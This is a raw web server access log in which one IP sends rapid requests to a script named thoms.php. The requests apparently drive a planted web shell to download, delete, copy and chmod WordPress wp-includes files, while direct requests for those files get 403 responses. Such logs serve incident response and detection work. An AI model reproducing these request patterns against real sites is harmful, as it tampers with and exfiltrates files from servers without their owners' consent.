45.135.193.11 - - [11/Sep/2026:23:44:51 -0400] "GET /thoms.php?dl=json-schema.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=json-schema.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:51 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=canonical.php HTTP/1.1" 200 23018 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=canonical.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:51 -0400] "GET /thoms.php?dl=sitemaps.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=sitemaps.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:52 -0400] "GET /thoms.php?chmod=class-wp.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:52 -0400] "GET /thoms.php?chmod=class.wp-scripts.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class.wp-scripts.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:51 -0400] "GET /thoms.php?dl=class-wp-comment.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-comment.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:52 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fwp-db.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11846 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fwp-db.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:52 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fimages HTTP/1.1" 200 17915 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:52 -0400] "GET /thoms.php?dl=feed-rdf.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=feed-rdf.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:52 -0400] "GET /thoms.php?del=widgets&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?del=widgets&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:52 -0400] "GET /thoms.php?dl=class-wp-user.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59417 "http://163.245.207.76:443/thoms.php?dl=class-wp-user.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:52 -0400] "GET /thoms.php?del=feed-atom.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59308 "http://163.245.207.76:443/thoms.php?del=feed-atom.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:53 -0400] "GET /booking-wise2.com.tw/wp-includes/registration-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:53 -0400] "GET /thoms.php?chmod=pluggable.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=pluggable.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:52 -0400] "GET /thoms.php?del=load.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=load.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:53 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fblock-editor.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fblock-editor.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:53 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fblock-supports HTTP/1.1" 200 16618 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fblock-supports" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:53 -0400] "GET /booking-wise2.com.tw/wp-includes/author-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:53 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-image-editor-gd.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:53 -0400] "GET /thoms.php?del=assets&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59415 "http://163.245.207.76:443/thoms.php?del=assets&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:53 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:53 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass.wp-dependencies.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass.wp-dependencies.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:53 -0400] "GET /thoms.php?dl=ai-client.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=ai-client.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:54 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fbuild HTTP/1.1" 200 13691 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fbuild" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:54 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=l10n.php HTTP/1.1" 200 29014 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=l10n.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:54 -0400] "GET /thoms.php?del=block-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=block-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:54 -0400] "GET /thoms.php?del=class-wp-http-streams.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=class-wp-http-streams.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:54 -0400] "GET /booking-wise2.com.tw/wp-includes/meta.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:54 -0400] "GET /thoms.php?dl=class-wp-network.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-wp-network.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:54 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=style-engine.php HTTP/1.1" 200 14348 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=style-engine.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:55 -0400] "GET /thoms.php?chmod=class-oembed.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-oembed.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:55 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-key-service.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11557 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-key-service.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-scripts.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-scripts.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:55 -0400] "GET /booking-wise2.com.tw/wp-includes/theme.json HTTP/1.1" 200 2361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:55 -0400] "GET /thoms.php?chmod=error_log&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:55 -0400] "GET /thoms.php?dl=cache-compat.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59433 "http://163.245.207.76:443/thoms.php?dl=cache-compat.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:55 -0400] "GET /booking-wise2.com.tw/wp-includes/admin-bar.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fgeneral-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fgeneral-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:55 -0400] "GET /booking-wise2.com.tw/wp-includes/post-formats.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:55 -0400] "GET /thoms.php?chmod=class-wp-customize-panel.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11548 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-panel.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:55 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-application-passwords.php HTTP/1.1" 200 15902 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-application-passwords.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:55 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-view-config-data.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-oembed.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11897 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-oembed.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:55 -0400] "GET /booking-wise2.com.tw/wp-includes/speculative-loading.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:56 -0400] "GET /thoms.php?chmod=post-thumbnail-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11548 "http://163.245.207.76:443/thoms.php?chmod=post-thumbnail-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:55 -0400] "GET /thoms.php?del=class-wp-date-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=class-wp-date-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:55 -0400] "GET /thoms.php?del=feed-rss.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=feed-rss.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:56 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-filter-sentinel.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-filter-sentinel.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:56 -0400] "GET /thoms.php?dl=class-requests.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-requests.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:56 -0400] "GET /booking-wise2.com.tw/wp-includes/fonts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:56 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=fonts.php HTTP/1.1" 200 14967 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=fonts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:56 -0400] "GET /booking-wise2.com.tw/wp-includes/template-loader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:56 -0400] "GET /thoms.php?del=class-wp-post-type.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=class-wp-post-type.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:56 -0400] "GET /thoms.php?chmod=widgets&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=widgets&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:56 -0400] "GET /thoms.php?chmod=class-wp-block-type.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-type.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:56 -0400] "GET /thoms.php?dl=theme-templates.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59402 "http://163.245.207.76:443/thoms.php?dl=theme-templates.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:57 -0400] "GET /thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11544 "http://163.245.207.76:443/thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:57 -0400] "GET /thoms.php?chmod=class-wp-feed-cache.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11548 "http://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:57 -0400] "GET /thoms.php?dl=class-wp-term-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class-wp-term-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:57 -0400] "GET /booking-wise2.com.tw/wp-includes/block-supports/ HTTP/1.1" 200 1835 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:57 -0400] "GET /thoms.php?del=default-constants.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59402 "http://163.245.207.76:443/thoms.php?del=default-constants.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:57 -0400] "GET /thoms.php?del=feed-atom-comments.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?del=feed-atom-comments.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:57 -0400] "GET /thoms.php?del=json-schema.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=json-schema.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:57 -0400] "GET /thoms.php?chmod=php-ai-client&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=php-ai-client&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:58 -0400] "GET /thoms.php?chmod=abilities-api.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=abilities-api.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:58 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fblock-bindings.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fblock-bindings.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:58 -0400] "GET /thoms.php?chmod=class-phpmailer.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-phpmailer.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:58 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-parser.php HTTP/1.1" 200 15843 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-parser.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:58 -0400] "GET /thoms.php?chmod=class-wp-term.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-term.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
